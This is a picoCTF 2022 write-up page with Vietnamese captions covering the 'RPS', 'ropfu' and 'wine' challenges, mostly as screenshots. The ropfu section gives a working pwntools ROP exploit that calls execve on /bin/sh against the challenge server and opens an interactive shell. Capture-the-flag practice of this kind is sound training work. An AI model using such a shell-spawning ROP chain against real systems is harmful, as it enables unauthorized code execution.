# PicoCTF

## RPS

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FqnCJ7M08tuTYX6dmCG8N%2Fimage.png?alt=media&#x26;token=be6135c2-0c42-4c71-9fe1-4d9360d7d7d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FxRj1ZsHmvCDcMMSO8Wmh%2Fimage.png?alt=media&#x26;token=9e232fd8-1614-4a1a-905d-dca8c1c43e95" alt=""><figcaption><p>Hàm này sẽ kiểm tra computer_turn có trong chuỗi player_turn hay không. Nếu có thì win và nếu win 5 lần thì sẽ có flag</p></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FZYYHqynQJlyZlyyJAfPS%2Fimage.png?alt=media&#x26;token=9417d3bb-0949-4cd5-8277-2717021c7c82" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FTBwi8eQCBwXw3LqUzOB9%2Fimage.png?alt=media&#x26;token=f27614b2-a7aa-4b61-b653-0da79eef8dff" alt=""><figcaption><p>Làm như này 5 lần trở lên.</p></figcaption></figure>

## ropfu

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2Fu6JETWIOv5EWvY47UzDw%2Fimage.png?alt=media&#x26;token=1a3fcdf2-af93-4910-8b1f-07b93a07bd91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FDTe36wMebWGNYNuskmwm%2Fimage.png?alt=media&#x26;token=58db9d75-2db3-46cc-87bc-65a9cc926106" alt=""><figcaption></figcaption></figure>

```c
from pwn import *

elf = ELF("./vuln")
r = elf.process()
#gdb.attach(r, api = True)
r = remote ("saturn.picoctf.net", 59148)

pop_eax = 0x080b073a
pop_ecx = 0x08049e29
int_0x80 = 0x0804a3c2
push_eax_pop_ebx = 0x08070fdd

payload = b"/bin/sh\x00"
payload += payload.ljust(20, b'a')
payload += p32(push_eax_pop_ebx)

payload += p32(pop_eax)
payload += p32(0x0b)

payload += p32(pop_ecx)
payload += p32(0x0)

payload += p32(int_0x80)
r.sendline(payload)

r.interactive()
```

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FZ8UzcaJ82d2d0oiwg2eJ%2Fimage.png?alt=media&#x26;token=cf4ea50f-6de9-4c4e-a92b-78ae0945f7b5" alt=""><figcaption></figcaption></figure>

## wine

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2F8MEL17TqTbGexTpyOMb0%2Fimage.png?alt=media&#x26;token=43321159-ad5d-4e78-b75d-0c676d1edf81" alt=""><figcaption></figcaption></figure>

#### link full: <https://kcsctrainingwriteup.wordpress.com/2022/03/22/picoctf-2022-wine/>

##
